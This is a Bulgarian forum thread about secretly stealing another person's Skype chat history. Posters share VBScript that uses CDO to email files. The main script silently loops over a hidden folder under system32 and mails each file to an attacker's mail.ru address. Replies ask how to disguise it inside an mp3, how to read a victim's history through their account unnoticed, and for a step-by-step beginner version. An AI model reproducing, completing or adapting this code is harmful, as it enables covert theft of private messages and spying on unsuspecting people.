download.bg
 Вход Списание  Новини  Програми  Статии  Форум  Чат   Абонамент  Топ95   Архив 

Форум » Системни администратори и хакери » Да си откраднем хронология.... (Иванчо и Петърчо част 4 )

Да си откраднем хронология.... (Иванчо и Петърчо част 4 )

<1 2 >

Автор
Съобщение
stoqncho
Пет, 08.08.08, 03:01

RE: Да си откраднем хронология.... (Иванчо и Петърчо част 4 )

Цитат на anonymous от Сряда, 06.08.2008 21:45
” Многа е сложно нищо не схванах някой ще го дадели на готово гадурийката тва ме изкушава за гепането на хронологии леле колко тайни ще разкрия а за предатели да не говорим колко ще открия „
Из това викам !!!
Отговор  За печат  
anonymous
Пет, 08.08.08, 23:42
Готова гадорийка не ! Но работещ vbscript може
Това е ако искате да прикачите файл :
objMessage.AddAttachment "c:\readme.txt" 
Const cdoAnonymous = 0 'Do not authenticate
Const cdoBasic = 1 'basic (clear-text) authentication
Const cdoNTLM = 2 'NTLM
 
Set objMessage = CreateObject("CDO.Message") 
objMessage.Subject = "Example CDO Message" 
objMessage.From = """Me"" <******@mail.ru>" 
objMessage.To = "****@****" 
objMessage.TextBody = "tuka pi6ete teks red 1" & vbCRLF & "tekst red 2! sys zdrave ne nosq otgovornost za deistviqta vi !."
 
'==This section provides the configuration information for the remote SMTP server.
 
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 
 
'Name or IP of Remote SMTP Server
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
 
'Type of authentication, NONE, Basic (Base64 encoded), NTLM
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic
 
'Your UserID on the SMTP server
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = "user"
 
'Your password on the SMTP server
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "parola"
 
'Server port (typically 25)
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 
 
'Use SSL for the connection (False or True)
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = False
 
'Connection Timeout in seconds (the maximum time CDO will try to establish a connection to the SMTP server)
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
 
objMessage.Configuration.Fields.Update
 
'==End remote SMTP server configuration section==
 
objMessage.Send

айде със здраве...!Остава само настройката

Edit :
Т'ва дето армен го е дал е много простичко , земете го направете по-сложно, ако искате 100% ефект

редактиран от anonymous на 08.08.08 23:44
Отговор  За печат  
anonymous
Нед, 10.08.08, 17:04
хехе супер само за едита ми помотнете кви имейл адреси се пишат? моят и кой още? хайдеде дайте цял готов файл и идеята ми е да го прикрепя тва нещо на mp3
редактиран от anonymous на 10.08.08 17:06
Отговор  За печат  
anonymous
Нед, 10.08.08, 23:47
То си написано кат слънце бе брат ! С малко труд всичко става ! Прочети първия пост и ще чатнеш всичко
-----------------------------------------------------------------------------------------------------------
on error resume next

Set oFSO = CreateObject("Scripting.FileSystemObject")
sDirectoryPath = "C:\WINDOWS\system32\syys\sy1\sy2"
set oFolder = oFSO.GetFolder(sDirectoryPath)
set oFileCollection = oFolder.Files

For each oFile in oFileCollection
        Set objEmail = CreateObject("CDO.Message")
        objEmail.From = "ххххх@mail.ru"
        objEmail.To = "пощата където ще се приема"
        objEmail.Subject = "aaa"
        objEmail.Textbody = "tttt"
  
        objEmail.AddAttachment oFile.Path

        objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = _
        "smtp.mail.ru"
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update

objEmail.Send
Set objEmail = Nothing
Next

-----------------------------------------------------------------------------------------------------------

Отговор  За печат  
anonymous
Вто, 07.10.08, 21:06
и аз сега малко поспамих на една кучка
Отговор  За печат  
anonymous
Чет, 30.10.08, 09:31

RE: Да си откраднем хронология.... (Иванчо и Петърчо част 4 )

Здравейте. Аз изчетох всичко , но нямам възможността да "открадна" папката на Скайп от компа на "жертвата" защото нямам достъп до него. Единственото което мога е да вляза в скайп акаунта и да чакам ... ама едно не ми е ясно . Мога ли да прочета историята на скайпа, ако отсрещния човек си влезе в акаунта от тях , а аз от нас , и когато започне да си пише с някой , аз ще получавам ли History-то? Малко тъпо го обясних, но не мога да си подредя мислите. А ако има др начин , чрез който да взема историята - споделете!
Отговор  За печат  
anonymous
Чет, 30.10.08, 21:39

RE: RE: Да си откраднем хронология.... (Иванчо и Петърчо част 4 )

Стигнах донякъде в разследването си. значи аз съм вътре в скайп и въпросният човек е вътре и в момента си пишат с някакви хора. чудя се , дали ако натисна на цялата хронология от началото (нали в самия чат прозорец има такава опция) дали отсрещния човек ще разбере ?
Отговор  За печат  
anonymous
Чет, 30.10.08, 22:21
http://www.download.bg/index.php?cls=users&mtd=ownpostings&id=29221&h=d309d02322ea8d5f12b1fb8019a15cd6
трябва да се задълбочим в нещата , както иска анитка .
Отговор  За печат  
anonymous
Чет, 30.10.08, 22:27
а ето междувременно какво се случи със посочените сайтове , ето какво ми излиза , много скоро след постването и мтука.
=================
http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = _
        "smtp.mail.ru"
objEmail.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update

objEmail.Send
Set objEmail = Nothing
Next
=============
The page cannot be found
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
--------------------------------------------------------------------------------

Please try the following:

Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.
Click the Back button to try another link.
HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)

--------------------------------------------------------------------------------

Technical Information (for support personnel)

Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
Open IIS Help, which is accessible in IIS Manager (inetmgr), and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messages.

редактиран от anonymous на 30.10.08 22:27
Отговор  За печат  
hunter21
Нед, 31.01.10, 14:31
Някой не може ли да поопрости нещата още повече много хора ще бъдат благодарни.. Например:

Step 1: Отваряте Notepad започвате скрипта със.....
........
.......
Final Step: Запазвате документа като ".bat" формат и скрипта ви е готов

 И малко редакция ако може някой да направи отностно неработещите сайтове ( Server Not Found).

Отговор  За печат  

<1 2 >

Коментар

за нас | за разработчици | за реклама | станете автори | in english  © 1998-2024   Experta Ltd.